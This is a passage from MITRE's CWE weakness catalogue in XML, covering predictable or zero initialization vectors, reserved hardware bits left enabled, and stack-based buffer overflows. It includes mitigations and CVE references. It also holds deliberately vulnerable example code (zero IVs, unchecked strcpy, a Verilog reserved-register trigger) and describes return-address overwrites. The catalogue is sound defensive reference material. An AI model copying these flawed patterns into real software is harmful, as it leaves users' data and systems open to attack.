			  <Related_Weakness Nature="ChildOf" CWE_ID="330" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
			  <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
				  <Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
			  <Consequence>
			    <Scope>Confidentiality</Scope>
			    <Impact>Read Application Data</Impact>
			    <Note>If the IV is not properly initialized, data that is encrypted can be compromised and information about the data can be leaked. See [REF-1179].</Note>
			  </Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
			  <Mitigation>
			    <Phase>Implementation</Phase>
			    <Description><xhtml:p>Different cipher
			    modes have different requirements for
			    their IVs. When choosing and implementing
			    a mode, it is important to understand
			    those requirements in order to keep
			    security guarantees intact. Generally, it
			    is safest to generate a random IV, since
			    it will be both unpredictable and have a
			    very low chance of being non-unique. IVs
			    do not have to be kept secret, so if
			    generating duplicate IVs is a concern, a
			    list of already-used IVs can be kept and
			    checked against.
			    </xhtml:p>
			    <xhtml:p>
			      NIST offers recommendations on generation of IVs for modes of which they have approved. These include options for when random IVs are not practical. For CBC, CFB, and OFB, see [REF-1175]; for GCM, see [REF-1178].
			    </xhtml:p>
			    </Description>
			  </Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
			  <Demonstrative_Example Demonstrative_Example_ID="DX-143">
			    <Intro_Text>In the following examples, CBC mode is used when encrypting data:</Intro_Text>
			    <Example_Code Nature="Bad" Language="C">
			      <xhtml:div>EVP_CIPHER_CTX ctx;<xhtml:br/>char key[EVP_MAX_KEY_LENGTH];<xhtml:br/>char iv[EVP_MAX_IV_LENGTH];<xhtml:br/>RAND_bytes(key, b);<xhtml:br/>memset(iv,0,EVP_MAX_IV_LENGTH);<xhtml:br/>EVP_EncryptInit(&amp;ctx,EVP_bf_cbc(), key,iv);</xhtml:div>
			    </Example_Code>
			    <Example_Code Nature="Bad" Language="Java">
			      <xhtml:div>public class SymmetricCipherTest {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>public static void main() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                              <xhtml:br/>byte[] text ="Secret".getBytes();<xhtml:br/>byte[] iv ={<xhtml:div style="margin-left:1em;">0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00</xhtml:div>};<xhtml:br/>KeyGenerator kg = KeyGenerator.getInstance("DES");<xhtml:br/>kg.init(56);<xhtml:br/>SecretKey key = kg.generateKey();<xhtml:br/>Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");<xhtml:br/>IvParameterSpec ips = new IvParameterSpec(iv);<xhtml:br/>cipher.init(Cipher.ENCRYPT_MODE, key, ips);<xhtml:br/>return cipher.doFinal(inpBytes);</xhtml:div>
                              </xhtml:div>}</xhtml:div>
			      </xhtml:div>}</xhtml:div>
			    </Example_Code>
			    <Body_Text>In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.</Body_Text>
			  </Demonstrative_Example>
			  <Demonstrative_Example>
			    <Intro_Text>
			    The Wired Equivalent Privacy (WEP) protocol used in the 802.11
			    wireless standard only supported 40-bit keys, and the IVs were only 24
			    bits, increasing the chances that the same IV would be reused for
			    multiple messages. The IV was included in plaintext as part of the packet, making
			    it directly observable to attackers. Only 5000 messages are needed
			    before a collision occurs due to the "birthday paradox" [REF-1176]. Some
			    implementations would reuse the same IV for each packet. This IV reuse
			    made it much easier for attackers to recover plaintext from
			    two packets with the same IV, using well-understood attacks,
			    especially if the plaintext was known for one of the packets [REF-1175].
			    </Intro_Text>
			  </Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
			  <Observed_Example>
			    <Reference>CVE-2020-1472</Reference>
			    <Description>ZeroLogon vulnerability - use of a static IV of all zeroes in AES-CFB8 mode</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2020-1472</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2011-3389</Reference>
			    <Description>BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2011-3389</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2001-0161</Reference>
			    <Description>wireless router does not use 6 of the 24 bits for WEP encryption, making it easier for attackers to decrypt traffic</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2001-0161</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2001-0160</Reference>
			    <Description>WEP card generates predictable IV values, making it easier for attackers to decrypt traffic</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2001-0160</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2017-3225</Reference>
			    <Description>device bootloader uses a zero initialization vector during AES-CBC</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2017-3225</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2016-6485</Reference>
			    <Description>crypto framework uses PHP rand function - which is not cryptographically secure - for an initialization vector</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2016-6485</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2014-5386</Reference>
			    <Description>encryption routine does not seed the random number generator, causing the same initialization vector to be generated repeatedly</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2014-5386</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2020-5408</Reference>
			    <Description>encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2020-5408</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2017-17704</Reference>
			    <Description>messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart </Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2017-17704</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2017-11133</Reference>
			    <Description>application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2017-11133</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2007-3528</Reference>
			    <Description>Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2007-3528</Link>
			  </Observed_Example>
			</Observed_Examples>
			<Functional_Areas>
			  <Functional_Area>Cryptography</Functional_Area>
			</Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="20"/>
            <Related_Attack_Pattern CAPEC_ID="97"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1175" Section="3. Risks of Keystream Reuse"/>
				<Reference External_Reference_ID="REF-1175" Section="Appendix C"/>
				<Reference External_Reference_ID="REF-1176"/>
				<Reference External_Reference_ID="REF-1177"/>
				<Reference External_Reference_ID="REF-1178" Section="8.2 IV Constructions"/>
				<Reference External_Reference_ID="REF-1179"/>
			</References>
			<Notes>
			  <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
			  predictability can vary widely. Within the developer and other
			  communities, "randomness" is used heavily. However, within
			  cryptography, "entropy" is distinct, typically implied as a
			  measurement. There are no commonly-used definitions, even within
			  standards documents and cryptography papers. Future versions of
			  CWE will attempt to define these terms and, if necessary,
			  distinguish between them in ways that are appropriate for
			  different communities but do not reduce the usability of CWE for
			  mapping, understanding, or other scenarios.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2021-03-09</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1209" Name="Failure to Disable Reserved Bits" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design.   However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.</Description>
            <Extended_Description>
                <xhtml:p>Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design.  However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.</xhtml:p>
            </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Architecture and Design</Phase>
                    <Note>The Designer and Implementer have to make a conscious choice to do this</Note>
                </Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>The Designer and Implementer have to make a conscious choice to do this</Note>
                </Introduction>
                <Introduction>
                    <Phase>Documentation</Phase>
                    <Note>If documentation labels anything "for future use", "reserved", or the like, such labeling could indicate to an attacker a potential attack point</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Scope>Integrity</Scope>
                    <Scope>Availability</Scope>
                    <Scope>Access Control</Scope>
                    <Scope>Accountability</Scope>
                    <Scope>Authentication</Scope>
                    <Scope>Authorization</Scope>
                    <Scope>Non-Repudiation</Scope>
                    <Impact>Varies by Context</Impact>
                    <Note>This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Phase>Implementation</Phase>
                    <Description>
                        <xhtml:p>Include a feature to disable reserved bits.</xhtml:p>
                    </Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Integration</Phase>
                    <Description>
                    	<xhtml:p>Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.</xhtml:p>
                    </Description>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Assume a hardware Intellectual Property (IP) has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F).  Therefore inside the Finite State Machine (FSM), the code is as follows:</Intro_Text>
                    <Example_Code Nature="Bad" Language="Verilog">
		      reg gpio_out = 0;  //gpio should remain low for normal operation<xhtml:br/>
                      <xhtml:br/>
                      case (register_address)<xhtml:br/>
		      <xhtml:div style="margin-left:1em;">
                        4'b1111 : //0x0F<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  begin<xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
                            gpio_out = 1;<xhtml:br/>
			  </xhtml:div>
			  end<xhtml:br/>
			</xhtml:div>
		      </xhtml:div>
                    </Example_Code>
                    <Body_Text>
                        <xhtml:p>An adversary may perform writes to reserved address space in hopes of changing the behavior of the hardware. In the code above, the GPIO pin should remain low for normal operation.  However, it can be asserted by accessing the reserved address space (0x0F).  This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system, which may not be the correct action the system should perform).</xhtml:p>
                        <xhtml:p>In the code below, the condition "register_address = 0X0F" is commented out, and a default is provided that will catch any values of register_address not explicitly accounted for and take no action with regards to gpio_out. This means that an attacker who is able to write 0X0F to register_address will not enable any undocumented "features" in the process.</xhtml:p>
                    </Body_Text>
                	<Example_Code Nature="Good" Language="Verilog">
                  	  reg gpio_out = 0;  //gpio should remain low for normal operation<xhtml:br/>
			  <xhtml:br/>
                  	  case (register_address)<xhtml:br/>
			  <xhtml:div style="margin-left:1em;">
                  	    //4'b1111 : //0x0F<xhtml:br/>
                  	    default: gpio_out = gpio_out;<xhtml:br/>
			  </xhtml:div>
               		</Example_Code>
            	</Demonstrative_Example>
            </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
         </Related_Attack_Patterns>
         <Content_History>
                <Submission>
                    <Submission_Name>Brent Sherman</Submission_Name>
                    <Submission_Organization>Intel Corporation</Submission_Organization>
                    <Submission_Date>2020-02-06</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="121" Name="Stack-based Buffer Overflow" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="788" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Stack Overflow</Term>
               <Description>"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-10">
              <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 
	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement and perform bounds checking on input.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase>
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
	       <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p> </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define BUFSIZE 256<xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">char buf[BUFSIZE];<xhtml:br/>strcpy(buf, argv[1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.</Body_Text>
               <Body_Text>Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-35395</Reference>
               <Description>Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-35395</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Stack overflow</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR38-C</Entry_ID>
               <Entry_Name>Guarantee that library functions do not form invalid pointers</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
	    <Reference External_Reference_ID="REF-1029"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 5, &#34;Stack Overruns&#34; Page 129"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 3, &#34;Nonexecutable Stack&#34;, Page 76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Protection Mechanisms&#34;, Page 189"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-58"/>
            <Reference External_Reference_ID="REF-60"/>
            <Reference External_Reference_ID="REF-64"/>
	    <Reference External_Reference_ID="REF-1332"/>
	    <Reference External_Reference_ID="REF-1333"/>
	    <Reference External_Reference_ID="REF-1334"/>
	    <Reference External_Reference_ID="REF-1335"/>
	    <Reference External_Reference_ID="REF-1337" Section="Memory information leaks"/>
         </References>
         <Notes>
            <Note Type="Other">Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
